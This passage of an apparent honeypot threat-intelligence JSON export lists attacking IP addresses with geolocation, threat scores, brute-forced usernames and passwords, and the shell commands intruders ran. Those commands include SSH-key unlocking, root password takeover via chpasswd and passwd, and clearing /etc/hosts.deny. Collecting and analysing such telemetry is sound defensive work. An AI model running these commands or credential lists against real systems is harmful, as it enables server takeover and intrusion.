        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 459,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T11:00:57.214000+00:00",
        "last_seen_30d": "2026-03-13T13:16:13.006000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 313,
        "Suricata": 146
      }
    },
    "103.43.191.43": {
      "attack_count": 307,
      "first_seen": "2026-03-09T02:37:23.210Z",
      "last_seen": "2026-03-17T03:23:16.756Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "iot",
        "master",
        "sysadmin",
        "crafty",
        "dockeruser",
        "ftpd",
        "git",
        "hdoop",
        "hsadmin",
        "moon",
        "root1",
        "sklep",
        "steam",
        "superset",
        "tania",
        "term2",
        "tms",
        "unity",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "12345678",
        "Crafty123",
        "Ftpd123!",
        "Hdoop123",
        "Master123!",
        "Qwerty123",
        "Unity123",
        "dockeruser123",
        "git2025",
        "hsadmin123",
        "password",
        "root",
        "skleppass",
        "steam",
        "sysadmin1234",
        "tmspass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nJPCF1RDsoYQP\\nJPCF1RDsoYQP\\n\"|passwd",
        "echo \"Master123!\\ngFQjsR7oHabU\\ngFQjsR7oHabU\\n\"|passwd",
        "echo \"sysadmin1234\\nvaU69jcxKaAm\\nvaU69jcxKaAm\\n\"|passwd",
        "echo -e \"12345678\\nJPCF1RDsoYQP\\nJPCF1RDsoYQP\"|passwd|bash",
        "echo -e \"Master123!\\ngFQjsR7oHabU\\ngFQjsR7oHabU\"|passwd|bash",
        "echo -e \"sysadmin1234\\nvaU69jcxKaAm\\nvaU69jcxKaAm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 139021,
      "as_org": "West263 International Limited",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:37:23.210000+00:00",
        "last_seen_30d": "2026-03-17T03:24:21.358000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 60
      }
    },
    "94.159.100.141": {
      "attack_count": 307,
      "first_seen": "2026-03-07T05:47:04.745Z",
      "last_seen": "2026-03-09T09:10:12.452Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "antoine",
        "ceshi2",
        "deploy",
        "root",
        "cody",
        "contab",
        "demo",
        "flutter",
        "gg",
        "gw",
        "ks",
        "laurent",
        "matic",
        "modify",
        "rahul",
        "solr",
        "student1",
        "tian",
        "toor"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "12345",
        "123456",
        "Laurent123!",
        "Passw0rd!@#$",
        "Student1123",
        "antoine",
        "ceshi2123",
        "codypass",
        "contab123!",
        "demo@123",
        "matic123!",
        "toor",
        "yd123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"antoine\\nqLeYyUPjOQJZ\\nqLeYyUPjOQJZ\\n\"|passwd",
        "echo \"ceshi2123\\nPO4k75TgUIXE\\nPO4k75TgUIXE\\n\"|passwd",
        "echo \"password\\n2JQzS9i9XMtz\\n2JQzS9i9XMtz\\n\"|passwd",
        "echo -e \"antoine\\nqLeYyUPjOQJZ\\nqLeYyUPjOQJZ\"|passwd|bash",
        "echo -e \"ceshi2123\\nPO4k75TgUIXE\\nPO4k75TgUIXE\"|passwd|bash",
        "echo -e \"password\\n2JQzS9i9XMtz\\n2JQzS9i9XMtz\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215730,
      "as_org": "H2nexus Ltd",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 366,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T05:47:04.745000+00:00",
        "last_seen_30d": "2026-03-09T09:11:22.042000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 59
      }
    },
    "34.128.77.56": {
      "attack_count": 277,
      "first_seen": "2026-03-18T00:22:56.420Z",
      "last_seen": "2026-03-30T13:14:49.828Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "arjun",
        "centos7",
        "chat",
        "deployer",
        "mamad"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234Qwer",
        "1314521",
        "20240428",
        "Admin\"123",
        "Arjun123!",
        "Athena2025",
        "Ctyun@2025",
        "Deployer123",
        "Huawei@5tgb",
        "No123456@",
        "Password123654",
        "QWERasdf1234",
        "Welkom123",
        "Yf123456!",
        "ZAQ!2wsx",
        "Zxc123456789",
        "abc-123",
        "cde3CDE#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ZAQ!2wsx\\ngjfAq6AcCSwA\\ngjfAq6AcCSwA\\n\"|passwd",
        "echo \"root:x3hCfSWho6GO\"|chpasswd|bash",
        "echo -e \"ZAQ!2wsx\\ngjfAq6AcCSwA\\ngjfAq6AcCSwA\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 46.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.5,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 353,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T00:22:56.420000+00:00",
        "last_seen_30d": "2026-03-30T13:15:54.515000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 277,
        "Suricata": 76
      }
    },
    "201.16.238.49": {
      "attack_count": 257,
      "first_seen": "2026-03-20T09:26:45.043Z",
      "last_seen": "2026-03-20T09:50:28.296Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "amin",
        "choi",
        "root",
        "was",
        "hsadmin",
        "peertube",
        "steve",
        "syncthing",
        "viewer"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "Ct123456",
        "Lenovo@123",
        "hsadmin123!",
        "stevepass",
        "syncthing123!",
        "was1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n1vthyzX4cPU7\\n1vthyzX4cPU7\\n\"|passwd",
        "echo \"12345678\\nziXxM9IEV99T\\nziXxM9IEV99T\\n\"|passwd",
        "echo \"was1234\\nJM1btPZlc96f\\nJM1btPZlc96f\\n\"|passwd",
        "echo -e \"12345678\\n1vthyzX4cPU7\\n1vthyzX4cPU7\"|passwd|bash",
        "echo -e \"12345678\\nziXxM9IEV99T\\nziXxM9IEV99T\"|passwd|bash",
        "echo -e \"was1234\\nJM1btPZlc96f\\nJM1btPZlc96f\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 16735,
      "as_org": "ALGAR TELECOM SA",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T09:26:45.043000+00:00",
        "last_seen_30d": "2026-03-20T09:51:32.848000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 37
      }
    },
    "104.223.21.7": {
      "attack_count": 256,
      "first_seen": "2026-03-18T23:14:44.141Z",
      "last_seen": "2026-03-18T23:35:02.616Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mitra",
        "odoo17",
        "db2inst",
        "elastic",
        "pm2user",
        "portal",
        "ws"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "Pm2user123",
        "Portal123",
        "Root2025!",
        "Tt123456",
        "admin123123",
        "odoo17123!",
        "ws!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\n1Iv2goEiE7Qd\\n1Iv2goEiE7Qd\\n\"|passwd",
        "echo \"odoo17123!\\nx8Luta23UEt6\\nx8Luta23UEt6\\n\"|passwd",
        "echo \"root:ny7VX6lHZr6F\"|chpasswd|bash",
        "echo -e \"123\\n1Iv2goEiE7Qd\\n1Iv2goEiE7Qd\"|passwd|bash",
        "echo -e \"odoo17123!\\nx8Luta23UEt6\\nx8Luta23UEt6\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T23:14:44.141000+00:00",
        "last_seen_30d": "2026-03-18T23:36:11.899000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 256,
        "Suricata": 37
      }
    },
    "121.142.87.218": {
      "attack_count": 213,
      "first_seen": "2026-03-16T17:38:57.867Z",
      "last_seen": "2026-03-25T22:30:34.278Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "tian",
        "ubuntu",
        "admin",
        "apolo",
        "arthur",
        "docker",
        "maks",
        "mobiquity",
        "pepe",
        "runner",
        "tms",
        "viewtinet",
        "vncuser",
        "yasin",
        "youssef"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "Password",
        "Vncuser123!",
        "docker1234",
        "maks123!",
        "password",
        "pepe123",
        "runner1234",
        "tian123!",
        "viewtinet",
        "youssef123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Password\\nSnYykEtYPejt\\nSnYykEtYPejt\\n\"|passwd",
        "echo \"tian123!\\nlwXteHmNFt37\\nlwXteHmNFt37\\n\"|passwd",
        "echo -e \"Password\\nSnYykEtYPejt\\nSnYykEtYPejt\"|passwd|bash",
        "echo -e \"tian123!\\nlwXteHmNFt37\\nlwXteHmNFt37\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gimpo-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 35.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T17:38:57.867000+00:00",
        "last_seen_30d": "2026-03-25T22:31:40.707000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 44
      }
    },
    "87.106.44.172": {
      "attack_count": 212,
      "first_seen": "2026-03-21T16:05:09.880Z",
      "last_seen": "2026-03-22T14:59:42.338Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "eugene",
        "foundry",
        "root",
        "anonymous",
        "cassandra",
        "crafty",
        "gbase",
        "mastodon",
        "nominatim",
        "online",
        "openvpn",
        "remnux",
        "robot",
        "samba",
        "sftptest",
        "sftpuser",
        "sonar",
        "steamcmd",
        "traccar"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "12345",
        "Abc123++",
        "Openvpn",
        "Root@123456",
        "cassandra",
        "crafty",
        "eugene@123",
        "nominatim123",
        "redhat",
        "remnux123",
        "robotpass",
        "sftptest@123",
        "sonar@123456",
        "steamcmd123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nEA8CSvAuTXMd\\nEA8CSvAuTXMd\\n\"|passwd",
        "echo -e \"12345678\\nEA8CSvAuTXMd\\nEA8CSvAuTXMd\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 279,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T16:05:09.880000+00:00",
        "last_seen_30d": "2026-03-22T15:00:44.151000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 67
      }
    },
    "79.137.76.231": {
      "attack_count": 193,
      "first_seen": "2026-03-12T07:40:24.568Z",
      "last_seen": "2026-03-12T07:58:26.518Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "n8n",
        "nima",
        "aa",
        "firewall",
        "monitor",
        "pengbo",
        "student",
        "ts3bot",
        "user1",
        "webmin",
        "wialon"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "Firewall123!",
        "Server123",
        "aa123",
        "monitor@2025",
        "n8n",
        "nima",
        "pengbopass",
        "ts3bot123!",
        "webmin123!",
        "wialon123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"n8n\\noPp8WGdxAl26\\noPp8WGdxAl26\\n\"|passwd",
        "echo \"nima\\niw1Vqf6jvaBj\\niw1Vqf6jvaBj\\n\"|passwd",
        "echo -e \"n8n\\noPp8WGdxAl26\\noPp8WGdxAl26\"|passwd|bash",
        "echo -e \"nima\\niw1Vqf6jvaBj\\niw1Vqf6jvaBj\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T07:40:24.568000+00:00",
        "last_seen_30d": "2026-03-12T07:59:28.174000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 34
      }
    },
    "88.147.30.59": {
      "attack_count": 191,
      "first_seen": "2026-03-03T11:49:55.198Z",
      "last_seen": "2026-03-03T12:33:53.642Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1q2w3e4r5t6y7u8i9o",
        "8866",
        "AAA111aaa",
        "Abcd-1234",
        "Bingo@1993",
        "N2dos2024sd",
        "Qwerty12!",
        "Server@2019",
        "anonymous",
        "kevin123",
        "woaini520..."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:i6GUJgIi7dgu\"|chpasswd|bash",
        "echo \"root:zMtQKip9DvJM\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 35612,
      "as_org": "EOLO S.p.A.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:49:55.198000+00:00",
        "last_seen_30d": "2026-03-03T12:34:58.896000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 36
      }
    },
    "45.151.91.78": {
      "attack_count": 188,
      "first_seen": "2026-03-08T04:59:21.606Z",
      "last_seen": "2026-03-08T05:20:08.210Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "Admin",
        "dan",
        "gestion",
        "huang",
        "iksi",
        "kirill",
        "minioadmin",
        "nora",
        "root",
        "storage"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "1qaz2wsx@@",
        "Admin1234",
        "huang",
        "iksi123",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n7yKV5o8y7IgH\\n7yKV5o8y7IgH\\n\"|passwd",
        "echo \"Admin1234\\nZgL9MLphZ521\\nZgL9MLphZ521\\n\"|passwd",
        "echo -e \"12345678\\n7yKV5o8y7IgH\\n7yKV5o8y7IgH\"|passwd|bash",
        "echo -e \"Admin1234\\nZgL9MLphZ521\\nZgL9MLphZ521\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 209101,
      "as_org": "IP Vendetta Inc.",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:59:21.606000+00:00",
        "last_seen_30d": "2026-03-08T05:21:10.861000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "68.183.8.234": {
      "attack_count": 173,
      "first_seen": "2026-03-09T20:54:26.700Z",
      "last_seen": "2026-03-09T21:24:49.819Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "password",
        "password1",
        "qwerty",
        "000000",
        "123",
        "1234",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "admin123",
        "passw0rd",
        "root",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
